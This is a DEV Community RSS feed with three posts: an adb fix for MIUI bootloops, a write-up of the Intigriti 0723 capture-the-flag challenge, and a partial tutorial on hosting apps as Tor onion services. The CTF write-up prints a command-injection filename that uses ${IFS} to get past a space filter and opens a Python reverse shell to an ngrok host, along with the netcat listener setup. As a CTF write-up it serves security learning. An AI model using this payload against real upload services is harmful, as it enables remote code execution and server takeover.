<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Arnav Kumar</title>
    <description>The latest articles on DEV Community by Arnav Kumar (@arnavkr).</description>
    <link>https://dev.to/arnavkr</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F562252%2F4b2373c0-7f4d-4c74-a7ce-09e11b638ff8.png</url>
      <title>DEV Community: Arnav Kumar</title>
      <link>https://dev.to/arnavkr</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/arnavkr"/>
    <language>en</language>
    <item>
      <title>Fix MIUI Device Bootlooping due to recent MIUI System UI Plugin Update (Without Data Wipe)</title>
      <dc:creator>Arnav Kumar</dc:creator>
      <pubDate>Sun, 17 Mar 2024 12:54:50 +0000</pubDate>
      <link>https://dev.to/arnavkr/fix-miui-device-bootlooping-due-to-recent-miui-system-ui-plugin-update-without-data-wipe-1dhf</link>
      <guid>https://dev.to/arnavkr/fix-miui-device-bootlooping-due-to-recent-miui-system-ui-plugin-update-without-data-wipe-1dhf</guid>
      <description>&lt;p&gt;Might be off-topic for devs, but thought it would be useful if you happen to own a MIUI device and the recent MIUI System UI Plugin update also got your phone into boot loop&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.gsmarena.com/a_recent_miui_plugin_update_causes_bootloop_problems_for_some_users-news-61855.php" rel="noopener noreferrer"&gt;News Here&lt;/a&gt; if you are wondering&lt;/p&gt;

&lt;p&gt;Many would suggest that the only fix is to format your phone, and that would also wipe all of your data.&lt;/p&gt;

&lt;p&gt;But obviously not the only way to fix it *(certain conditions applied)&lt;/p&gt;

&lt;h2&gt;
  
  
  If you had USB Debugging turned on before boot loop
&lt;/h2&gt;

&lt;p&gt;As you can't control stuff on your phone while it's on boot loop (you can access the recovery settings though). What you can do is use &lt;a href="https://developer.android.com/studio/command-line/adb" rel="noopener noreferrer"&gt;ADB (android debug bridge)&lt;/a&gt; to control your phone via your pc, or your other phone via termux-adb (not covered in this article)&lt;/p&gt;

&lt;p&gt;If you had left &lt;code&gt;USB Debugging&lt;/code&gt; in developer options turned on (like me), you're in luck. ADB auto connects when you plug your phone to host device, and ADB still works when your phone is boot looping.&lt;/p&gt;

&lt;p&gt;When your phone is in turned on state for a while,&lt;br&gt;
open a terminal in your pc, run&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;adb devices
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and confirm your device is there&lt;/p&gt;

&lt;p&gt;if it's there, you're good to go&lt;/p&gt;

&lt;p&gt;now the root cause was the System UI Plugin update, so you just need to uninstall its updates, and it'd fix your boot looping&lt;/p&gt;

&lt;p&gt;you can uninstall it using ADB by running following&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;adb uninstall miui.systemui.plugin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;miui.systemui.plugin&lt;/code&gt; is the package name of the app&lt;/p&gt;

&lt;p&gt;Congrats! Its fixed now.&lt;/p&gt;

&lt;h2&gt;
  
  
  USB Debugging wasn't turned on before boot loop
&lt;/h2&gt;

&lt;p&gt;For users who hadn't enabled USB Debugging before, I literally haven't explored much, my issue was fixed using ADB so I wanted to mention it as possible solution that would save your data for getting deleted.&lt;/p&gt;

&lt;p&gt;I haven't explored tools like MI Flash Tool or MI Assistant, if they allow running ADB commands, you could do the same as above there, as mentioned before you can access the recovery menu even when in a boot loop so you can use those tools.&lt;/p&gt;

&lt;p&gt;If you know whether they support such thing, you can mention in comments, I will mention it in the post&lt;/p&gt;

&lt;p&gt;Again, thanks for reading! &lt;br&gt;
hope it presented a possible solution for your problem&lt;/p&gt;

&lt;p&gt;See you in the next post 😉&lt;/p&gt;

</description>
      <category>xiaomi</category>
      <category>bootloop</category>
      <category>miui</category>
      <category>hyperos</category>
    </item>
    <item>
      <title>Going Blind to Find the Way (INTIGRITI Challenge 0723)</title>
      <dc:creator>Arnav Kumar</dc:creator>
      <pubDate>Tue, 25 Jul 2023 11:17:05 +0000</pubDate>
      <link>https://dev.to/arnavkr/going-blind-to-find-the-way-intigriti-challenge-0723-e17</link>
      <guid>https://dev.to/arnavkr/going-blind-to-find-the-way-intigriti-challenge-0723-e17</guid>
      <description>&lt;p&gt;Welcome,&lt;/p&gt;

&lt;p&gt;So, this month we have some flag capturing in the &lt;a href="https://challenge-0723.intigriti.io/" rel="noopener noreferrer"&gt;Intigriti July Challenge 0723&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Lets begin!&lt;/p&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;First things first, the challenge description states the following:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Should retrieve the flag from the web server.&lt;/li&gt;
&lt;li&gt;The flag format is INTIGRITI{.*}.&lt;/li&gt;
&lt;li&gt;Should NOT use another challenge on the intigriti.io domain.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Femt3l480rqm3gdlvtkfu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Femt3l480rqm3gdlvtkfu.png" alt="Challenge Homepage" width="800" height="375"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Looking at the &lt;a href="https://challenge-0723.intigriti.io/challenge" rel="noopener noreferrer"&gt;homepage&lt;/a&gt;, it's an online service that lets you extract audio from your video.&lt;/p&gt;

&lt;p&gt;The main challenge page is the &lt;a href="https://challenge-0723.intigriti.io/upload" rel="noopener noreferrer"&gt;Upload Page&lt;/a&gt; having just a single file input that accepts only &lt;code&gt;.mp4&lt;/code&gt; files, having a submit button to submit the file.&lt;/p&gt;

&lt;p&gt;Upon Extraction, it downloads the audio file &lt;code&gt;extracted_audio.wav&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxrsj9x65f6ier22g85cs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxrsj9x65f6ier22g85cs.png" alt="The upload Page" width="800" height="405"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Analyzing The Challenge
&lt;/h2&gt;

&lt;p&gt;The frontend code just has code related to the layouts and styling, so nothing to look there.&lt;/p&gt;

&lt;p&gt;That leaves with the only thing to attack, i.e. the file upload.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"/upload"&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"POST"&lt;/span&gt; &lt;span class="na"&gt;enctype=&lt;/span&gt;&lt;span class="s"&gt;"multipart/form-data"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
   &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"form-group"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;label&lt;/span&gt; &lt;span class="na"&gt;for=&lt;/span&gt;&lt;span class="s"&gt;"video"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Select a video file:&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"custom-file"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
         &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"file"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"custom-file-input"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"video"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"video"&lt;/span&gt; &lt;span class="na"&gt;accept=&lt;/span&gt;&lt;span class="s"&gt;"video/mp4"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
         &lt;span class="nt"&gt;&amp;lt;label&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"custom-file-label"&lt;/span&gt; &lt;span class="na"&gt;for=&lt;/span&gt;&lt;span class="s"&gt;"video"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Choose file&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
   &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
   &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"text-center"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"btn btn-primary"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Upload and Extract Audio&lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
   &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The form is a simple one, and the input only seems to accept &lt;code&gt;video/mpeg&lt;/code&gt; i.e. &lt;code&gt;MP4&lt;/code&gt; files in this case.&lt;/p&gt;

&lt;p&gt;Upon experimenting a bit, we also find that we are not allowed to use spaces in the file name. Looks SUS! Yeah, it's more like a hint.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frlvvu3cvtqqcuwu6urw9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frlvvu3cvtqqcuwu6urw9.png" alt="No Spaces Allowed" width="800" height="220"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now, the end goal is to find the flag by exploiting the file handling.&lt;/p&gt;

&lt;h2&gt;
  
  
  Solving the Challenge
&lt;/h2&gt;

&lt;p&gt;Before anything else, I went straight up to testing whether I was somehow able to bypass the content type restriction, I tried modifying the filenames to do so, but none of them worked.&lt;/p&gt;

&lt;p&gt;Doing so, I figured out the file should necessarily end with &lt;code&gt;.mp4&lt;/code&gt; extension for it to treat the file as a valid file.&lt;/p&gt;

&lt;p&gt;Later, while testing I got this error message &lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3d3azh627uiehoypnogl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3d3azh627uiehoypnogl.png" alt="FFmpeg error" width="800" height="516"&gt;&lt;/a&gt;&lt;br&gt;
It's a FFmpeg error!&lt;br&gt;
So, They use FFmpeg to convert the video to audio.&lt;/p&gt;

&lt;p&gt;Connecting it with our past finding, &lt;code&gt;NO spaces allowed in filenames&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Connecting the dots, it seemed to be a case of command injection.&lt;/p&gt;

&lt;p&gt;So I started modifying the filename to possibly inject the command.&lt;/p&gt;

&lt;p&gt;But if spaces are not allowed, how we would inject commands, as it will at least have a space. I asked myself&lt;/p&gt;

&lt;p&gt;I literally searched &lt;code&gt;alternate for space in bash&lt;/code&gt;&lt;br&gt;
and came up with a &lt;a href="https://unix.stackexchange.com/questions/351331/how-to-send-a-command-with-arguments-without-spaces" rel="noopener noreferrer"&gt;Unix Stack Exchange Article&lt;/a&gt; that suggested to use &lt;code&gt;${IFS}&lt;/code&gt; in place of space and it works.&lt;/p&gt;

&lt;p&gt;If it seems familiar to you, you might have seen it in the John Hammond's Video titled &lt;a href="https://www.youtube.com/watch?v=mEGnhfOX-xs" rel="noopener noreferrer"&gt;&lt;code&gt;Filter Evasion in a REVERSE SHELL (no spaces!!)&lt;/code&gt;&lt;/a&gt; I just realized the same after getting it from article 😅&lt;/p&gt;

&lt;p&gt;We have dealt with the space problem now it is time for the actual injection.&lt;/p&gt;

&lt;p&gt;And that's where I fell into a rabbit hole 🕳️🐇 initially.&lt;/p&gt;

&lt;p&gt;I assumed the command at backend would be something like &lt;code&gt;ffmpeg -i "input_file.mp4" extracted_audio.wav&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;And thought to go with the SQL injection like approach.&lt;/p&gt;

&lt;p&gt;And I came up with the following file name:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;c" -loglevel panic;cat flag.txt &amp;gt; extracted_audio.wav;echo ".mp4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It worked locally with my assumption, but not in the real website.&lt;/p&gt;

&lt;p&gt;I couldn't make it work. And one of the drawbacks were, I didn't know where the flag.txt was, it could have been current folder or in root. (It was in root btw)&lt;/p&gt;

&lt;p&gt;By that time the post reached 100 likes, and we get a hint&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Maybe you get errors.. Maybe everything looks normal.. Maybe you just gotta do it blind🙈
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And yeah, there I realized &lt;strong&gt;&lt;code&gt;blind🙈&lt;/code&gt;&lt;/strong&gt;, the essence of this challenge!&lt;/p&gt;

&lt;p&gt;I searched it and found its &lt;a href="https://portswigger.net/web-security/ssrf/blind" rel="noopener noreferrer"&gt;Blind SSRF&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;As &lt;a href="https://portswigger.net/web-security/ssrf/blind" rel="noopener noreferrer"&gt;Port Swigger&lt;/a&gt; Explains:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Blind SSRF vulnerabilities arise when an application can be induced to issue a back-end HTTP request to a supplied URL, but the response from the back-end request is not returned in the application's front-end response.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;By the time I also realized it is not supposed to be like SQL Injection and is the &lt;a href="https://www.gnu.org/software/bash/manual/html_node/Command-Substitution.html" rel="noopener noreferrer"&gt;Bash Command Substitution&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So we got Spaces done, we have a way to inject command, just have to think of a payload to get access to the flag.&lt;/p&gt;

&lt;p&gt;And I get into another rabbit hole 😅&lt;br&gt;
I knew of &lt;a href="https://en.wikipedia.org/wiki/Netcat" rel="noopener noreferrer"&gt;netcat&lt;/a&gt;, and we can get contents of a file using netcat and do reverse shell with it.&lt;/p&gt;

&lt;p&gt;I made nc payloads for reverse shells, but it didn't work, then one of my fellow friends suggested, nc might not be available in the environment as it might be sandboxed.&lt;/p&gt;

&lt;p&gt;And yeah, finally we are leading to the solution.&lt;/p&gt;

&lt;p&gt;So, I searched for reverse shell payloads on Google thinking if nc isn't there something else could be there.&lt;/p&gt;

&lt;p&gt;and fortunately Came up with the &lt;a href="https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet" rel="noopener noreferrer"&gt;pentestmonkey reverse shell cheatsheet&lt;/a&gt; that has many reverse shell payloads&lt;/p&gt;

&lt;p&gt;I thought to try python one, as I'm more comfortable with it. And possibly the web app could also be in python.&lt;/p&gt;

&lt;p&gt;I tried it, but still didn't work.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The problem:&lt;/strong&gt; we can't use &lt;code&gt;${IFS}&lt;/code&gt; in python code string.&lt;/p&gt;

&lt;p&gt;It was a easy fix as the only place where a space is there is the import statement.&lt;/p&gt;

&lt;p&gt;And in python we have an alt for normal import statements: the &lt;code&gt;__import__()&lt;/code&gt; function&lt;/p&gt;

&lt;p&gt;&lt;code&gt;import os&lt;/code&gt; and &lt;code&gt;os=__import__("os")&lt;/code&gt; are literally the same thing.&lt;/p&gt;

&lt;p&gt;But after that got error saving the long filename, for that just made variable names 1 letter.&lt;/p&gt;

&lt;p&gt;I renamed the file, uploaded it and voilà a reverse shell 🎉 &lt;/p&gt;

&lt;p&gt;The &lt;code&gt;flag.txt&lt;/code&gt; was in the root of the file system. And it contained the flag.&lt;/p&gt;
&lt;h2&gt;
  
  
  Solution
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Setting it up
&lt;/h3&gt;

&lt;p&gt;Start The Netcat Listener&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lvp&lt;/span&gt; 1111
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;l&lt;/code&gt;: listen&lt;br&gt;
&lt;code&gt;v&lt;/code&gt;: verbose&lt;br&gt;
&lt;code&gt;p&lt;/code&gt;: port&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqrhdscd7twgrz8nhn0va.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqrhdscd7twgrz8nhn0va.png" alt="netcat command" width="422" height="104"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Use Ngrok to forward the connection, to get a usable URL that is accessible from the internet.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ngrok tcp 1111
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We listen on TCP as that is the type of connection netcat uses to communicate&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faiyvscmy8zdxdkiadfhd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faiyvscmy8zdxdkiadfhd.png" alt="ngrok command" width="800" height="435"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Note down the forwarding URL's domain and port, we'd make reverse shell connection by embedding them into the payload&lt;/p&gt;

&lt;p&gt;here the domain is &lt;code&gt;0.tcp.in.ngrok.io&lt;/code&gt; alternatively can ping the domain to get the IP instead as it'd be shorter, in this case its &lt;code&gt;3.6.122.107&lt;/code&gt;&lt;br&gt;
and the PORT is &lt;code&gt;14296&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  The payload
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$(python${IFS}-c${IFS}'k=__import__("socket");l=__import__("subprocess");o=__import__("os");s=k.socket(k.AF_INET,k.SOCK_STREAM);s.connect(("&amp;lt;NGROK_DOMAIN&amp;gt;",&amp;lt;NGROK_PORT&amp;gt;));o.dup2(s.fileno(),0);o.dup2(s.fileno(),1);o.dup2(s.fileno(),2);p=l.call(["sh","-i"]);').mp4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Replacing the &lt;code&gt;&amp;lt;NGROK_DOMAIN&amp;gt;&lt;/code&gt; with the domain and &lt;code&gt;&amp;lt;NGROK_PORT&amp;gt;&lt;/code&gt; would complete the payload.&lt;/p&gt;

&lt;p&gt;And once uploaded to the website it would open a reverse shell&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6jifaqbuk6kozyhjgmsq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6jifaqbuk6kozyhjgmsq.png" alt="Reverse Shell Opened" width="771" height="442"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can see the &lt;code&gt;flag.txt&lt;/code&gt; there&lt;/p&gt;

&lt;p&gt;now just printing its content gives the flag&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4u43g5c290bolk07kst0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4u43g5c290bolk07kst0.png" alt="Getting the flag" width="516" height="55"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;INTIGRITI{c0mm4nd_1nj3c710n_4nd_0p3n55l_5h3ll}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;the previous flag had a typo &lt;code&gt;INITGRITI&lt;/code&gt; was there instead of &lt;code&gt;INTIGRITI&lt;/code&gt; and at the time of writing they fixed it. That's why screenshot flag is different.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I'd like to thank &lt;a href="https://twitter.com/_kavigihan" rel="noopener noreferrer"&gt;@_kavigihan&lt;/a&gt; for making the awesome challenge.&lt;/p&gt;

&lt;p&gt;Happy Hacking!&lt;br&gt;
Meet You in the Next post!&lt;/p&gt;

</description>
      <category>security</category>
      <category>challenge</category>
      <category>intigriti</category>
      <category>writeup</category>
    </item>
    <item>
      <title>Deploy Your Node.js (or any) Apps to Dark Web! It's so Easy!</title>
      <dc:creator>Arnav Kumar</dc:creator>
      <pubDate>Wed, 16 Mar 2022 12:46:43 +0000</pubDate>
      <link>https://dev.to/arnavkr/deploy-your-nodejs-or-any-apps-to-dark-web-its-so-easy-26el</link>
      <guid>https://dev.to/arnavkr/deploy-your-nodejs-or-any-apps-to-dark-web-its-so-easy-26el</guid>
      <description>&lt;h2&gt;
  
  
  Hey There Devs!
&lt;/h2&gt;

&lt;p&gt;Hope you are doing well with your projects 😉.&lt;/p&gt;

&lt;p&gt;Today I am gonna take you to the world of &lt;strong&gt;Dark Web&lt;/strong&gt;!&lt;/p&gt;

&lt;p&gt;Sounds Cool?&lt;/p&gt;

&lt;p&gt;So, let's get into it!&lt;/p&gt;

&lt;h3&gt;
  
  
  TOC
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Introduction&lt;/li&gt;
&lt;li&gt;Procedure 🧪&lt;/li&gt;
&lt;li&gt;Understanding Files&lt;/li&gt;
&lt;li&gt;Live Example&lt;/li&gt;
&lt;li&gt;End Notes&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Introduction
&lt;/h3&gt;

&lt;p&gt;But before starting, lets clear some questions that might come up in your mind:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;What dark web really is 🤔?&lt;/li&gt;
&lt;li&gt;How it is different from the normal web that we use 🤔?&lt;/li&gt;
&lt;li&gt;How will I access the Dark web 🤔?&lt;/li&gt;
&lt;li&gt;Is it safe to use Dark Web 🤔?&lt;/li&gt;
&lt;li&gt;Is it legal to use Dark Web 🤔?&lt;/li&gt;
&lt;li&gt;Is it legal to host stuff on Dark Web 🤔?&lt;/li&gt;
&lt;li&gt;Do I have to buy domains for Dark Web as we do in normal web 🤔?&lt;/li&gt;
&lt;li&gt;Will it cost money to deploy 🤔?&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;If you already know these stuff and ready to go then you can directly skip to Procedure 🧪&lt;/strong&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Answers
&lt;/h4&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;The dark web is the World Wide Web content that exists on darknets: overlay networks that use the Internet but require specific software, configurations, or authorization to access. Through the dark web, private computer networks can communicate and conduct business anonymously without divulging identifying information, such as a user's location. The dark web forms a small part of the deep web, the part of the Web not indexed by web search engines, although sometimes the term deep web is mistakenly used to refer specifically to the dark web. &lt;a href="https://en.wikipedia.org/wiki/Dark_web#:~:text=The%20dark%20web,7%5D%5B2%5D%5B8%5D"&gt;[WikiPedia]&lt;/a&gt; (Probably Wikipedia was one of the best places for quick reliable intro 🙃)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Dark Web is part or division of the Deep web. Usually, the ordinary web is visible to search engines etc. But the deep web is the one that isn't visible to them. And in Dark Web All the data is encrypted and you need to use special software like &lt;a href="https://www.torproject.org/"&gt;tor&lt;/a&gt; to access the Dark Web. Dark Web Highly Focus on the user &lt;strong&gt;Anonymity&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;To access Dark Web, as I already stated you need to use special Software, and one of the famous ones is &lt;a href="https://www.torproject.org/"&gt;tor&lt;/a&gt; that I am going to cover in this tutorial. Tor Browser is available for &lt;strong&gt;Windows&lt;/strong&gt;, &lt;strong&gt;Linux&lt;/strong&gt;, &lt;strong&gt;macOS&lt;/strong&gt; and &lt;strong&gt;Android&lt;/strong&gt;. You can download it from the official &lt;a href="https://www.torproject.org/download/"&gt;Download Page&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Accessing the content on the Dark web is relatively safe. Same as using a regular browser. Just like in the regular web, don't open links or download files from unknown sources and you would be pretty safe!&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Using Tor or visiting the Dark Web is not unlawful in itself. It is of course illegal to carry out illegal acts anonymously, such as accessing child abuse images, promoting terrorism, or selling illegal items such as weapons. So make sure you don't go into them and it will be totally legal.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;As using Dark Web itself isn't illegal until you don't do bad stuff. You can host your website on the dark Web.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;No, you don't have to buy a domain for Dark Web and most don't want an identifiable domain name either because it's made for Anonymity. You will get a randomly generated 56 digit domain with &lt;code&gt;.onion&lt;/code&gt; at the end to host your website.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;No, it doesn't cost any money to host a Dark Web site on tor. (obviously no charge for publishing a site but the hosting provider you choose may have their own pricing)&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Procedure 🧪
&lt;/h2&gt;

&lt;p&gt;Lets first summarize what we will be doing here:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Create Replit Account (if you don't have one)&lt;/li&gt;
